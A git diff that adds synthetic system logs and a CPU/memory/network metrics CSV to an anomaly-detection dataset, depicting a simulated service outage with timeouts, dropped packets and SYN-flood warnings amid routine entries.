+2025-07-02T11:07:25Z,12.18,40.3,24.92,1.7,1.81 diff --git a/anom_dataset/scenario_7/anom_7_17.log b/anom_dataset/scenario_7/anom_7_17.log new file mode 100644 index 0000000000000000000000000000000000000000..3af79c6863ce7b93d6026c7e81d875171e7912ed --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_17.log @@ -0,0 +1,72 @@ +Jul 02 11:00:00 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:05 systemd[1]: Started Session 44 of user root. +Jul 02 11:00:10 systemd[1]: Started Session 35 of user root. +Jul 02 11:00:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:40 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:45 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:45 kubelet[2345]: INFO Successfully probed container xyz +Jul 02 11:00:55 sshd[11595]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:01:00 sshd[12262]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:01:15 kubelet[2345]: INFO Successfully probed container xyz +Jul 02 11:01:30 kubelet[2345]: INFO routine sync completed for pod web-app-xyz +Jul 02 11:01:30 sshd[19280]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:01:45 kubelet[2345]: INFO Successfully probed container xyz +Jul 02 11:02:00 sshd[18052]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:02:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:02:15 systemd[1]: Started Session 30 of user root. +Jul 02 11:02:25 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:02:30 app[1024]: ERROR Connection timeout while connecting to downstream service api.service.internal:8080 +Jul 02 11:02:30 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:45 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:50 app[1024]: ERROR Connection timeout while connecting to downstream service api.service.internal:8080 +Jul 02 11:02:55 kernel: nf_conntrack: table full, dropping packet +Jul 02 11:03:00 app[1024]: WARN Read timeout on socket for upstream request to database.prod.local +Jul 02 11:03:00 kubelet[2345]: INFO Successfully probed container xyz +Jul 02 11:03:05 app[1024]: WARN Read timeout on socket for upstream request to database.prod.local +Jul 02 11:03:10 kernel: nf_conntrack: table full, dropping packet +Jul 02 11:03:15 app[1024]: WARN Read timeout on socket for upstream request to database.prod.local +Jul 02 11:03:15 kubelet[2345]: INFO Successfully probed container xyz +Jul 02 11:03:20 app[1024]: WARN Read timeout on socket for upstream request to database.prod.local +Jul 02 11:03:25 app[1024]: ERROR Connection reset by peer while reading response from payment-gateway +Jul 02 11:03:30 kernel: TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:03:30 sshd[13812]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:03:35 app[1024]: ERROR Connection reset by peer while reading response from payment-gateway +Jul 02 11:03:40 kernel: TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:03:45 systemd[1]: Started Session 2 of user root. +Jul 02 11:03:50 kernel: nf_conntrack: table full, dropping packet +Jul 02 11:04:00 app[1024]: ERROR Connection timeout while connecting to downstream service api.service.internal:8080 +Jul 02 11:04:00 systemd[1]: Started Session 72 of user root. +Jul 02 11:04:05 kernel: nf_conntrack: table full, dropping packet +Jul 02 11:04:15 haproxy[3301]: Connect timeout on backend server service-backend/server1 +Jul 02 11:04:15 kubelet[2345]: INFO routine sync completed for pod web-app-xyz +Jul 02 11:04:20 app[1024]: ERROR Connection reset by peer while reading response from payment-gateway +Jul 02 11:04:25 app[1024]: ERROR Connection timeout while connecting to downstream service api.service.internal:8080 +Jul 02 11:04:30 app[1024]: ERROR Connection reset by peer while reading response from payment-gateway +Jul 02 11:04:30 sshd[12536]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:04:40 kernel: TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:04:45 kubelet[2345]: INFO routine sync completed for pod web-app-xyz +Jul 02 11:04:50 kernel: TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:05:00 kubelet[2345]: INFO routine sync completed for pod web-app-xyz +Jul 02 11:05:05 kernel: TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:05:10 kernel: nf_conntrack: table full, dropping packet +Jul 02 11:05:15 app[1024]: ERROR Connection timeout while connecting to downstream service api.service.internal:8080 +Jul 02 11:05:15 kubelet[2345]: INFO Successfully probed container xyz +Jul 02 11:05:20 app[1024]: WARN Read timeout on socket for upstream request to database.prod.local +Jul 02 11:05:25 app[1024]: ERROR Connection reset by peer while reading response from payment-gateway +Jul 02 11:05:30 kernel: nf_conntrack: table full, dropping packet +Jul 02 11:05:30 sshd[14634]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:05:40 kernel: TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:05:45 haproxy[3301]: Connect timeout on backend server service-backend/server1 +Jul 02 11:05:45 kubelet[2345]: INFO Successfully probed container xyz +Jul 02 11:06:00 kubelet[2345]: INFO routine sync completed for pod web-app-xyz +Jul 02 11:06:05 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:15 sshd[13007]: Accepted publickey for user from 10.0.2.15 port 4552 ssh2 +Jul 02 11:06:30 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:45 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:06:55 systemd[1]: Started Session 57 of user root. +Jul 02 11:07:00 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:07:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:07:15 systemd[1]: Started Session 27 of user root. diff --git a/anom_dataset/scenario_7/anom_7_18.csv b/anom_dataset/scenario_7/anom_7_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..fc4be8d49c97a436d4bce7498df04eeb68915d7b --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,22.72,44.82,23.99,1.14,1.05 +2025-07-02T10:00:05Z,21.04,44.49,20.67,1.35,1.17 +2025-07-02T10:00:10Z,21.9,39.16,26.48,1.48,1.6 +2025-07-02T10:00:15Z,24.06,43.09,20.78,0.85,1.58 +2025-07-02T10:00:20Z,20.72,41.91,25.58,1.14,1.56 +2025-07-02T10:00:25Z,20.0,44.59,33.93,1.15,1.07 +2025-07-02T10:00:30Z,17.86,40.61,22.95,1.25,1.32 +2025-07-02T10:00:35Z,15.06,39.1,29.86,0.95,1.1 +2025-07-02T10:00:40Z,16.24,44.28,28.47,1.15,1.4 +2025-07-02T10:00:45Z,22.26,42.27,32.78,0.96,1.2 +2025-07-02T10:00:50Z,19.43,43.11,29.61,1.48,1.59 +2025-07-02T10:00:55Z,18.64,44.36,22.94,1.42,1.76 +2025-07-02T10:01:00Z,19.72,42.7,32.55,0.94,1.05 +2025-07-02T10:01:05Z,23.92,43.43,34.4,1.43,1.03 +2025-07-02T10:01:10Z,19.63,39.5,25.4,1.11,1.45 +2025-07-02T10:01:15Z,16.85,41.69,24.11,0.94,1.3 +2025-07-02T10:01:20Z,21.99,38.31,34.78,1.25,1.77 +2025-07-02T10:01:25Z,19.64,38.74,21.24,1.23,1.52 +2025-07-02T10:01:30Z,23.06,40.78,30.79,0.83,1.65 +2025-07-02T10:01:35Z,19.34,43.7,26.41,0.8,1.46 +2025-07-02T10:01:40Z,22.64,41.28,33.92,1.32,1.22 +2025-07-02T10:01:45Z,22.64,39.43,23.51,0.87,1.39 +2025-07-02T10:01:50Z,16.2,41.2,31.73,0.98,1.17 +2025-07-02T10:01:55Z,17.73,42.49,23.92,1.17,1.78 +2025-07-02T10:02:00Z,22.67,39.33,21.58,1.29,1.27 +2025-07-02T10:02:05Z,18.87,38.63,23.04,0.97,1.35 +2025-07-02T10:02:10Z,24.41,38.49,28.12,0.96,1.03 +2025-07-02T10:02:15Z,19.99,40.73,29.13,1.44,1.06 +2025-07-02T10:02:20Z,17.07,39.02,28.61,1.41,1.61 +2025-07-02T10:02:25Z,15.98,39.57,26.88,0.91,1.41 +2025-07-02T10:02:30Z,45.43,40.72,25.09,0.47,0.77 +2025-07-02T10:02:35Z,36.72,43.14,20.13,0.3,0.39 +2025-07-02T10:02:40Z,40.19,47.13,23.26,0.58,0.89 +2025-07-02T10:02:45Z,34.53,41.73,34.11,0.62,0.34 +2025-07-02T10:02:50Z,29.88,46.8,29.2,0.66,0.51 +2025-07-02T10:02:55Z,30.69,46.04,33.24,0.3,0.38 +2025-07-02T10:03:00Z,40.45,46.42,20.85,0.27,0.47 +2025-07-02T10:03:05Z,44.54,44.34,21.02,0.37,0.62 +2025-07-02T10:03:10Z,37.78,44.37,33.29,0.33,0.44 +2025-07-02T10:03:15Z,44.12,47.42,25.99,0.48,0.36 +2025-07-02T10:03:20Z,31.96,50.95,25.53,0.65,0.32 +2025-07-02T10:03:25Z,44.52,50.59,30.0,0.37,0.7 +2025-07-02T10:03:30Z,34.74,50.65,25.8,0.36,0.83 +2025-07-02T10:03:35Z,47.51,53.61,30.74,0.39,0.74 +2025-07-02T10:03:40Z,30.92,51.91,29.64,0.57,0.27 +2025-07-02T10:03:45Z,36.03,52.15,25.55,0.3,0.35 +2025-07-02T10:03:50Z,39.84,52.53,32.13,0.41,0.48 +2025-07-02T10:03:55Z,37.91,57.05,34.8,0.28,0.49 +2025-07-02T10:04:00Z,39.93,52.97,29.51,0.4,0.65 +2025-07-02T10:04:05Z,40.38,60.41,31.71,0.4,0.74 +2025-07-02T10:04:10Z,32.22,61.11,30.76,0.51,0.51 +2025-07-02T10:04:15Z,35.22,61.35,31.23,0.6,0.8 +2025-07-02T10:04:20Z,40.65,61.4,27.61,0.16,0.54 +2025-07-02T10:04:25Z,37.12,59.8,25.52,0.45,0.64 +2025-07-02T10:04:30Z,30.7,59.76,28.04,0.38,0.71 +2025-07-02T10:04:35Z,31.26,61.49,34.54,0.35,0.23 +2025-07-02T10:04:40Z,34.98,61.14,28.79,0.24,0.21 +2025-07-02T10:04:45Z,40.94,62.96,26.1,0.34,0.62 +2025-07-02T10:04:50Z,35.56,61.09,23.04,0.62,0.48 +2025-07-02T10:04:55Z,39.05,65.31,20.85,0.53,0.46 +2025-07-02T10:05:00Z,45.38,63.98,33.73,0.47,0.87 +2025-07-02T10:05:05Z,22.86,43.49,29.35,0.92,1.65 +2025-07-02T10:05:10Z,16.2,39.97,26.27,1.44,1.39 +2025-07-02T10:05:15Z,22.59,40.26,32.4,1.01,1.66 +2025-07-02T10:05:20Z,15.52,43.79,30.04,1.02,1.38 +2025-07-02T10:05:25Z,19.81,39.33,24.67,1.39,1.22 +2025-07-02T10:05:30Z,20.01,44.49,27.76,1.41,1.34 +2025-07-02T10:05:35Z,20.28,43.35,33.58,0.97,1.46 +2025-07-02T10:05:40Z,20.68,44.93,33.83,1.33,1.0 +2025-07-02T10:05:45Z,21.22,44.84,21.65,1.32,1.12 +2025-07-02T10:05:50Z,18.38,38.85,25.21,1.22,1.58 +2025-07-02T10:05:55Z,17.03,39.77,25.97,1.44,1.6 +2025-07-02T10:06:00Z,23.7,42.05,22.33,1.29,1.64 +2025-07-02T10:06:05Z,17.98,39.44,25.57,1.14,1.33 +2025-07-02T10:06:10Z,24.32,41.96,34.84,1.08,1.39 +2025-07-02T10:06:15Z,15.44,40.78,31.44,0.99,1.71 +2025-07-02T10:06:20Z,21.39,39.73,22.43,0.81,1.4 +2025-07-02T10:06:25Z,20.29,39.98,23.75,1.23,1.77 +2025-07-02T10:06:30Z,23.92,38.8,30.54,1.41,1.77 +2025-07-02T10:06:35Z,22.17,39.49,31.54,1.45,1.35 +2025-07-02T10:06:40Z,17.67,42.09,31.51,1.46,1.63 +2025-07-02T10:06:45Z,18.03,41.9,22.16,1.46,1.11 +2025-07-02T10:06:50Z,16.41,44.74,20.78,1.14,1.67 +2025-07-02T10:06:55Z,16.48,38.58,31.99,1.32,1.16 +2025-07-02T10:07:00Z,24.28,38.03,24.13,0.89,1.59 +2025-07-02T10:07:05Z,21.27,40.58,29.19,1.49,1.14 +2025-07-02T10:07:10Z,24.26,43.19,25.87,0.89,1.71 +2025-07-02T10:07:15Z,23.52,39.36,20.6,1.15,1.68 +2025-07-02T10:07:20Z,20.39,39.0,21.77,1.23,1.19 +2025-07-02T10:07:25Z,19.97,44.16,26.34,0.91,1.09 diff --git a/anom_dataset/scenario_7/anom_7_18.log b/anom_dataset/scenario_7/anom_7_18.log new file mode 100644 index 0000000000000000000000000000000000000000..7d3b6381b5e3cc60714042b997929d59f94ed194 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_18.log @@ -0,0 +1,186 @@ +Jul 02 10:00:01 kernel[10906]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:00:01 kernel[11981]: DEBUG: Cache miss for key: user:profile:266 +Jul 02 10:00:08 kernel[10289]: INFO: routine sync completed for pod web-app-instance-2 +Jul 02 10:00:08 kernel[7254]: INFO: User 267 logged in from ip=10.1.69.59 +Jul 02 10:00:14 kubelet[8250]: INFO: Starting background job: daily_report_generation +Jul 02 10:00:16 systemd[14766]: INFO: routine sync completed for pod web-app-instance-4 +Jul 02 10:00:16 systemd[6373]: INFO: Background job completed successfully +Jul 02 10:00:20 systemd[13673]: INFO: Background job completed successfully +Jul 02 10:00:20 systemd[5286]: DEBUG: Cache miss for key: user:profile:264 +Jul 02 10:00:29 systemd[11799]: DEBUG: Cache miss for key: user:profile:296 +Jul 02 10:00:34 kubelet[13876]: INFO: Successfully processed request_id=req-54680 +Jul 02 10:00:34 kubelet[14623]: DEBUG: Cache miss for key: user:profile:512 +Jul 02 10:00:35 kernel[6723]: INFO: Background job completed successfully +Jul 02 10:00:44 kubelet[12780]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:00:45 systemd[14211]: INFO: Starting background job: daily_report_generation +Jul 02 10:00:45 systemd[9382]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:00:51 kernel[7307]: INFO: Starting background job: daily_report_generation +Jul 02 10:00:51 systemd[9845]: INFO: Background job completed successfully +Jul 02 10:00:56 systemd[11400]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:00:56 systemd[5296]: DEBUG: Cache miss for key: user:profile:909 +Jul 02 10:01:02 kubelet[9189]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:07 kubelet[12137]: INFO: routine sync completed for pod web-app-instance-2 +Jul 02 10:01:13 kubelet[7256]: INFO: routine sync completed for pod web-app-instance-4 +Jul 02 10:01:13 systemd[6328]: INFO: User 367 logged in from ip=10.1.91.219 +Jul 02 10:01:15 systemd[7045]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:21 kernel[13140]: INFO: routine sync completed for pod web-app-instance-1 +Jul 02 10:01:21 kubelet[11006]: DEBUG: Cache miss for key: user:profile:106 +Jul 02 10:01:27 systemd[8881]: INFO: Starting background job: daily_report_generation +Jul 02 10:01:33 systemd[6426]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:39 kubelet[10776]: INFO: routine sync completed for pod web-app-instance-2 +Jul 02 10:01:42 kubelet[12668]: INFO: User 315 logged in from ip=10.1.120.125 +Jul 02 10:01:42 kubelet[7500]: INFO: Starting background job: daily_report_generation +Jul 02 10:01:46 kubelet[11192]: INFO: User 691 logged in from ip=10.1.135.167 +Jul 02 10:01:53 kernel[13659]: INFO: User 531 logged in from ip=10.1.196.29 +Jul 02 10:01:58 kubelet[11015]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:58 systemd[9522]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:02:03 kernel[13252]: INFO: User 562 logged in from ip=10.1.2.124 +Jul 02 10:02:08 systemd[8801]: DEBUG: Cache miss for key: user:profile:357 +Jul 02 10:02:12 kubelet[9601]: INFO: Starting background job: daily_report_generation +Jul 02 10:02:15 systemd[10634]: INFO: Successfully processed request_id=req-90095 +Jul 02 10:02:15 systemd[14977]: INFO: routine sync completed for pod web-app-instance-2 +Jul 02 10:02:23 kernel[7314]: INFO: Starting background job: daily_report_generation +Jul 02 10:02:23 kernel[8777]: INFO: User 718 logged in from ip=10.1.134.31 +Jul 02 10:02:25 systemd[11324]: INFO: Starting background job: daily_report_generation +Jul 02 10:02:31 api-gateway[12333]: ERROR: Connection timeout to service 'user-database' after 4342ms +Jul 02 10:02:31 kubelet[13329]: DEBUG: Cache miss for key: user:profile:824 +Jul 02 10:02:31 nginx[10994]: WARN: Packet loss detected for egress traffic to 10.1.208.221 +Jul 02 10:02:31 webapp-backend[12657]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:02:31 webapp-backend[7677]: ERROR: Connection reset by peer for client 10.1.196.66 +Jul 02 10:02:38 api-gateway[11741]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:02:38 api-gateway[6109]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:02:38 webapp-backend[7117]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:02:43 nginx[7170]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:02:43 nginx[9298]: ERROR: Connection reset by peer for client 10.1.65.50 +Jul 02 10:02:43 webapp-backend[10535]: ERROR: Read timeout while fetching data from cache +Jul 02 10:02:43 webapp-backend[11661]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:02:48 nginx[12198]: ERROR: Connection reset by peer for client 10.1.181.67 +Jul 02 10:02:48 nginx[12755]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:02:48 nginx[6080]: ERROR: Connection reset by peer for client 10.1.253.21 +Jul 02 10:02:54 api-gateway[8452]: WARN: Packet loss detected for egress traffic to 10.1.221.2 +Jul 02 10:02:54 webapp-backend[10893]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:02:54 webapp-backend[11672]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:02:54 webapp-backend[8775]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:02:58 api-gateway[6339]: ERROR: Read timeout while fetching data from cache +Jul 02 10:02:58 nginx[13320]: WARN: Packet loss detected for egress traffic to 10.1.45.38 +Jul 02 10:02:58 nginx[6602]: ERROR: Connection reset by peer for client 10.1.79.19 +Jul 02 10:03:01 api-gateway[12257]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:03:01 nginx[8109]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:03:08 api-gateway[14399]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:03:08 api-gateway[14944]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:08 api-gateway[7531]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:03:08 nginx[6057]: WARN: Packet loss detected for egress traffic to 10.1.189.138 +Jul 02 10:03:10 api-gateway[10240]: ERROR: Connection reset by peer for client 10.1.243.123 +Jul 02 10:03:10 api-gateway[6679]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:03:10 kernel[9310]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:03:10 nginx[11569]: WARN: Packet loss detected for egress traffic to 10.1.42.90 +Jul 02 10:03:10 nginx[5732]: WARN: Packet loss detected for egress traffic to 10.1.115.235 +Jul 02 10:03:18 api-gateway[14322]: ERROR: Read timeout while fetching data from cache +Jul 02 10:03:18 api-gateway[14368]: ERROR: Connection timeout to service 'user-database' after 2878ms +Jul 02 10:03:21 nginx[8166]: ERROR: Read timeout while fetching data from cache +Jul 02 10:03:21 webapp-backend[11056]: WARN: Packet loss detected for egress traffic to 10.1.47.87 +Jul 02 10:03:21 webapp-backend[11427]: WARN: Packet loss detected for egress traffic to 10.1.4.230 +Jul 02 10:03:21 webapp-backend[14322]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:27 nginx[7343]: ERROR: Connection timeout to service 'user-database' after 2319ms +Jul 02 10:03:27 webapp-backend[11274]: ERROR: Read timeout while fetching data from cache +Jul 02 10:03:31 api-gateway[14477]: ERROR: Connection timeout to service 'user-database' after 2469ms +Jul 02 10:03:31 nginx[13569]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:31 webapp-backend[9492]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:35 webapp-backend[14322]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:03:35 webapp-backend[9702]: ERROR: Read timeout while fetching data from cache +Jul 02 10:03:44 api-gateway[6772]: ERROR: Connection timeout to service 'user-database' after 3653ms +Jul 02 10:03:44 api-gateway[9970]: ERROR: Connection timeout to service 'user-database' after 4833ms +Jul 02 10:03:44 nginx[9024]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:44 systemd[11876]: DEBUG: Cache miss for key: user:profile:934 +Jul 02 10:03:44 webapp-backend[5257]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:49 nginx[10472]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:49 webapp-backend[9052]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:03:52 nginx[13260]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:03:52 nginx[6580]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:03:59 api-gateway[6473]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:59 nginx[8015]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:04:01 api-gateway[12461]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:01 api-gateway[14046]: ERROR: Connection reset by peer for client 10.1.254.173 +Jul 02 10:04:01 api-gateway[14101]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:04:09 nginx[10077]: ERROR: Read timeout while fetching data from cache +Jul 02 10:04:09 webapp-backend[9162]: ERROR: Connection reset by peer for client 10.1.205.206 +Jul 02 10:04:11 api-gateway[14614]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:04:11 nginx[9064]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:04:19 nginx[12194]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:19 nginx[13605]: ERROR: Read timeout while fetching data from cache +Jul 02 10:04:19 systemd[14262]: INFO: Starting background job: daily_report_generation +Jul 02 10:04:19 webapp-backend[10804]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:19 webapp-backend[12762]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:04:24 api-gateway[14658]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:24 api-gateway[6444]: ERROR: Read timeout while fetching data from cache +Jul 02 10:04:24 nginx[13407]: ERROR: Connection timeout to service 'user-database' after 3756ms +Jul 02 10:04:24 webapp-backend[9128]: ERROR: Connection reset by peer for client 10.1.229.176 +Jul 02 10:04:27 api-gateway[12555]: ERROR: Connection reset by peer for client 10.1.50.44 +Jul 02 10:04:27 nginx[12508]: ERROR: Connection reset by peer for client 10.1.230.165 +Jul 02 10:04:27 webapp-backend[12747]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:27 webapp-backend[6430]: ERROR: Connection reset by peer for client 10.1.67.43 +Jul 02 10:04:34 api-gateway[11251]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:34 api-gateway[14059]: ERROR: Connection timeout to service 'user-database' after 2139ms +Jul 02 10:04:34 api-gateway[7886]: ERROR: Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:04:34 kernel[8325]: DEBUG: Cache miss for key: user:profile:342 +Jul 02 10:04:34 webapp-backend[11095]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:38 api-gateway[6217]: ERROR: Connection timeout to service 'user-database' after 2024ms +Jul 02 10:04:38 kubelet[6288]: INFO: Starting background job: daily_report_generation +Jul 02 10:04:38 nginx[13114]: ERROR: Connection timeout to service 'user-database' after 3833ms +Jul 02 10:04:38 webapp-backend[6822]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:04:43 api-gateway[12231]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:04:43 nginx[11625]: ERROR: Read timeout while fetching data from cache +Jul 02 10:04:43 nginx[5502]: WARN: Packet loss detected for egress traffic to 10.1.157.69 +Jul 02 10:04:43 webapp-backend[11621]: ERROR: Read timeout while fetching data from cache +Jul 02 10:04:45 api-gateway[12577]: WARN: Packet loss detected for egress traffic to 10.1.65.127 +Jul 02 10:04:45 nginx[10422]: ERROR: Connection timeout to service 'user-database' after 3620ms +Jul 02 10:04:51 nginx[14595]: WARN: Packet loss detected for egress traffic to 10.1.87.59 +Jul 02 10:04:51 webapp-backend[13465]: WARN: Packet loss detected for egress traffic to 10.1.228.10 +Jul 02 10:04:56 api-gateway[10994]: ERROR: Connection timeout to service 'user-database' after 4531ms +Jul 02 10:04:56 nginx[6992]: WARN: Packet loss detected for egress traffic to 10.1.151.198 +Jul 02 10:04:56 webapp-backend[8084]: WARN: Packet loss detected for egress traffic to 10.1.192.49 +Jul 02 10:05:02 api-gateway[5293]: WARN: High latency detected on upstream service 'payment-gateway' +Jul 02 10:05:02 nginx[9229]: CRITICAL: Downstream service 'inventory-service' is unreachable +Jul 02 10:05:06 kernel[12262]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:05:06 systemd[5035]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:05:13 systemd[6410]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:05:13 systemd[6981]: INFO: Background job completed successfully +Jul 02 10:05:16 kernel[7459]: INFO: routine sync completed for pod web-app-instance-3 +Jul 02 10:05:16 kubelet[10845]: INFO: Starting background job: daily_report_generation +Jul 02 10:05:24 kernel[6875]: INFO: User 579 logged in from ip=10.1.192.110 +Jul 02 10:05:29 kubelet[9117]: DEBUG: Cache miss for key: user:profile:691 +Jul 02 10:05:29 systemd[6511]: DEBUG: Cache miss for key: user:profile:971 +Jul 02 10:05:30 kubelet[12453]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:05:39 systemd[13351]: INFO: Starting background job: daily_report_generation +Jul 02 10:05:44 kubelet[10864]: DEBUG: Cache miss for key: user:profile:188 +Jul 02 10:05:44 systemd[7615]: INFO: Starting background job: daily_report_generation +Jul 02 10:05:46 kernel[7823]: INFO: Background job completed successfully +Jul 02 10:05:46 systemd[5672]: INFO: routine sync completed for pod web-app-instance-3 +Jul 02 10:05:53 systemd[14189]: DEBUG: Cache miss for key: user:profile:407 +Jul 02 10:05:59 kubelet[11399]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:06:04 systemd[10845]: INFO: routine sync completed for pod web-app-instance-1 +Jul 02 10:06:06 kernel[12337]: DEBUG: Cache miss for key: user:profile:689 +Jul 02 10:06:06 systemd[11554]: DEBUG: Cache miss for key: user:profile:170 +Jul 02 10:06:11 kernel[11975]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:06:17 kernel[6018]: INFO: User 377 logged in from ip=10.1.181.1 +Jul 02 10:06:17 kubelet[7771]: INFO: User 166 logged in from ip=10.1.188.2 +Jul 02 10:06:20 kubelet[10980]: INFO: User 466 logged in from ip=10.1.86.129 +Jul 02 10:06:20 kubelet[5724]: DEBUG: Cache miss for key: user:profile:819 +Jul 02 10:06:25 kubelet[12671]: INFO: Background job completed successfully +Jul 02 10:06:30 kernel[7818]: INFO: Background job completed successfully +Jul 02 10:06:30 systemd[14968]: INFO: Starting background job: daily_report_generation +Jul 02 10:06:36 kernel[11692]: INFO: User 465 logged in from ip=10.1.36.169 +Jul 02 10:06:42 kubelet[9159]: INFO: Background job completed successfully +Jul 02 10:06:42 kubelet[9561]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:06:49 kernel[13327]: INFO: Successfully processed request_id=req-27669 +Jul 02 10:06:49 kernel[7220]: INFO: Background job completed successfully +Jul 02 10:06:54 kubelet[13278]: INFO: User 249 logged in from ip=10.1.71.120 +Jul 02 10:06:57 systemd[10382]: INFO: routine sync completed for pod web-app-instance-4 +Jul 02 10:07:04 systemd[6232]: INFO: routine sync completed for pod web-app-instance-3 +Jul 02 10:07:08 kernel[10086]: INFO: Successfully processed request_id=req-41307 +Jul 02 10:07:13 systemd[14364]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:07:17 kubelet[10361]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:07:17 systemd[7789]: INFO: Starting background job: daily_report_generation +Jul 02 10:07:22 kubelet[5006]: INFO: Successfully processed request_id=req-20336 +Jul 02 10:07:22 kubelet[7973]: INFO: User 390 logged in from ip=10.1.168.81 +Jul 02 10:07:29 kernel[6755]: DEBUG: Cache miss for key: user:profile:179 diff --git 